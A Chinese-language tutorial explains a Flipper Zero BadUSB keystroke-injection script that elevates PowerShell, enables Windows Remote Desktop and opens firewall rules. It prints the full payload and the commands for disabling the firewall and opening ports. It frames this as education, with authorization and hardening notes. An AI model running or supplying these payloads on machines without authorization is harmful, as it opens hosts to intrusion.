Flipper Zero BadUSB 实战:ActivateRDP 脚本一键开启 Windows 远程桌面(RDP)并放行防火墙
【免费下载链接】FlipperPlayground (and dump) of stuff I make or modify for the Flipper Zero项目地址: https://gitcode.com/GitHub_Trending/fl/Flipper
导读
ActivateRDP是 UNC0V3R3D-BadUSB-Collection 中 Windows BadUSB 脚本集的一个执行类(Execution)载荷,它把 Flipper Zero 模拟成键盘,在目标 Windows 主机上自动完成"启用远程桌面连接 + 开启 RDP 认证 + 放行防火墙入站规则"三项配置。读完本文,你将理解该脚本每一行 DuckyScript 与 PowerShell 命令的作用、RDP 相关注册表键与防火墙规则的技术含义,并掌握如何安全地部署、测试和复现这套载荷。
脚本概览:一个即插即用的 RDP 开启器
按脚本自带的 readme.md 说明,这个脚本的核心用途是:
- 允许远程连接:将目标系统切换为允许 Remote Desktop 会话进入;
- 启用 RDP 认证:要求远程客户端通过身份验证(NLA,网络级认证)后才建立连接;
- 允许传入的远程连接:打开 Windows 防火墙中与远程桌面相关的入站规则,确保
3389端口流量不会被拦截。
使用方式也非常简单:将 Flipper Zero 通过 USB 插入目标电脑,在 BadUSB 菜单中运行脚本即可,整个过程无需人工干预。脚本作者在集合 README.md 中明确强调:所有脚本仅用于教育目的,运行前必须获得对方授权,并建议在虚拟机中先行测试。
DuckyScript 载荷逐行解析
完整的载荷位于 ActivateRDP.txt,全文如下:
REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) REM Description: Activates Remote Desktop. REM Version: 1.0 REM Category: Execution DELAY 750 WINDOWS d DELAY 1500 WINDOWS r DELAY 1500 STRING powershell Start-Process powershell -Verb runAs ENTER DELAY 750 LEFTARROW ENTER DELAY 1200 ALT y DELAY 1200 GUI UP DELAY 1200 STRING Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections -Value 0;Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name UserAuthentication -Value 1;netsh advfirewall firewall set rule group='remote desktop - remotefx' new enable=Yes;netsh advfirewall firewall set rule group='remote desktop' new enable=Yes; exit ENTER这段脚本可以拆成四个阶段来理解。
阶段一:唤醒屏幕并打开运行对话框
DELAY 750 WINDOWS d DELAY 1500 WINDOWS r DELAY 1500WINDOWS d:发送Win + D,最小化所有窗口、显示桌面,避免后续按键被前台窗口"吃掉";WINDOWS r:发送Win + R,呼出"运行"对话框,为输入 PowerShell 命令做准备;- 每步之间用
DELAY预留 750~1500 毫秒,等待系统响应。这类时间参数是 DuckyScript 最常见的调优点——如果机器较慢导致按键丢失,可像集合 README 的 Troubleshooting 部分建议的那样适当增大DELAY数值。
阶段二:以管理员身份启动 PowerShell
STRING powershell Start-Process powershell -Verb runAs ENTER DELAY 750 LEFTARROW ENTER DELAY 1200 ALT y DELAY 1200- 在运行框中输入
powershell Start-Process powershell -Verb runAs并回车,这会通过Start-Process以**管理员权限(runAs)**拉起一个新的 PowerShell 进程; - UAC 弹出后,
LEFTARROW+ENTER用于选中"是"(Yes)按钮,ALT y则是兼容旧版本 Windows 的备选确认方式; - 之后所有注册表与防火墙操作都必须在管理员上下文里执行,因此这段提权流程是整个载荷能成功的前提。
阶段三:通过注册表启用远程桌面
GUI UP DELAY 1200 STRING Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections -Value 0;...GUI UP是作者特别加入的一步:先按Win + Up恢复窗口/刷新焦点,确保随后的长命令键入到正确的 PowerShell 窗口。核心命令分两条:
- 允许远程桌面连接:
Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections -Value 0fDenyTSConnections是 Windows 远程桌面(Terminal Server)的"总开关"注册表值(DWORD)。值为1表示拒绝远程桌面连接,设为0即允许。这等价于在"系统属性 → 远程"中勾选"允许远程连接到此计算机",只是改成了命令行方式。
- 启用 RDP 认证(NLA):
Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name UserAuthentication -Value 1RDP-Tcp是默认的 RDP 监听会话(WinStation)配置项,UserAuthentication同样是一个 DWORD 开关。设为1表示要求使用网络级身份验证(NLA,即CredSSP),客户端必须先完成身份认证才能建立远程会话,从而避免仅凭网络层信息就开放桌面,安全性高于0。
阶段四:放行防火墙入站规则
STRING ...;netsh advfirewall firewall set rule group='remote desktop - remotefx' new enable=Yes;netsh advfirewall firewall set rule group='remote desktop' new enable=Yes; exit ENTER脚本用两条netsh命令把 Windows 防火墙中与远程桌面相关的规则组全部置为启用:
remote desktop - remotefx:对应 RemoteFX(RemoteFX USB 重定向 / 增强体验)相关规则组;remote desktop:对应常规远程桌面入站规则组(TCP 3389 等)。
命令末尾的; exit会在全部配置执行完毕后关闭管理员 PowerShell 窗口,不留痕迹地收尾。此时目标主机已开放 3389 端口,其他主机即可通过远程桌面客户端连接。
底层原理:为什么这些注册表键和防火墙规则缺一不可
从 Windows 的远程桌面实现来看,一个可被外部访问的 RDP 服务需要同时满足三层条件:
| 层面 | 位置 / 命令 | 关键项 | 本脚本的设置 |
|---|---|---|---|
| 服务开关 | HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server | fDenyTSConnections | 0(允许连接) |
| 认证策略 | HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp | UserAuthentication | 1(要求 NLA 认证) |
| 网络放行 | netsh advfirewall firewall set rule group=... | remote desktop规则组 | enable=Yes |
若只改注册表而忽略防火墙,外网/局域网客户端的数据包会被 Windows Defender 防火墙拦截,连接必然超时;若只开防火墙而不改注册表,服务端根本不会监听 RDP。脚本把三步一次性做完,这正是它"即插即用"的可靠性来源。
值得对照的是同集合中的另外两个脚本,它们与ActivateRDP是同一套"注册表 + netsh"模式下的不同变体:
- OpenAnyPort.txt:用
netsh advfirewall firewall add rule name=... dir=in action=allow protocol=TCP or UDP localport=<端口>在防火墙上开放任意自定义端口,可作为 RDP 之外的远程通道(如反向 Shell 端口); - DisableFirewall.txt:用
netsh advfirewall set allprofiles state off直接关闭全部防火墙配置文件的拦截。
可以看到三者在 UAC 提权、延迟节奏、PowerShell 内联命令的写法上高度一致,属于同一作者在集合 README.md 中所述的"PowerShell 驱动 DuckyScript"通用模式。区别在于:ActivateRDP走的是"精开端口 + 保留认证"的更克制路线,而DisableFirewall则是"一刀切关闭防御"的高风险做法。
部署与运行前提
根据集合 README 的安装指引,将载荷放到 Flipper Zero 上的步骤是:
- 克隆或下载本仓库,取得
ActivateRDP目录下的 ActivateRDP.txt; - 通过 qFlipper(PC 端)或 Flipper Zero 手机 App(蓝牙)连接设备;
- 进入
SD Card → badusb目录,把.txt文件拖入其中; - 在 Flipper 的 BadUSB 菜单中找到该脚本,插入目标电脑后按中间键启动。
运行前提与限制需要注意几点(以当前仓库内容为准):
- 系统兼容性:脚本使用的
WINDOWS、GUI、ALT组合键和 UAC 交互面向 Windows 桌面版;UAC 必须处于开启状态且当前用户拥有管理员权限,否则runAs提权或ALT y确认可能无法命中正确按钮; - 交互时序敏感:
DELAY是基于普通机器响应速度设计的,系统缓慢、中文/非美式键盘布局等都会影响键入,必要时需自行增大延迟; - 安全边界:该载荷会持久化修改目标主机的系统配置并开放网络端口,属于高风险操作,务必只在已授权的测试环境或虚拟机中执行,切勿在未获许可的机器上运行。
结语:从一行脚本理解 Windows RDP 的配置链路
ActivateRDP的价值不仅在于"一键开 RDP",更在于它以 21 行 DuckyScript 完整演示了 Windows 远程桌面从注册表开关、认证策略到防火墙放行的完整配置链路。配合本仓库中 readme.md、OpenAnyPort.txt 与 DisableFirewall.txt 等文件对比学习,可以快速掌握 BadUSB 攻击面中"系统配置篡改类"载荷的通用套路,也能反向理解运维人员应如何加固远程桌面服务(关闭fDenyTSConnections开关、强制 NLA、按需收敛防火墙规则)。
【免费下载链接】FlipperPlayground (and dump) of stuff I make or modify for the Flipper Zero项目地址: https://gitcode.com/GitHub_Trending/fl/Flipper
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考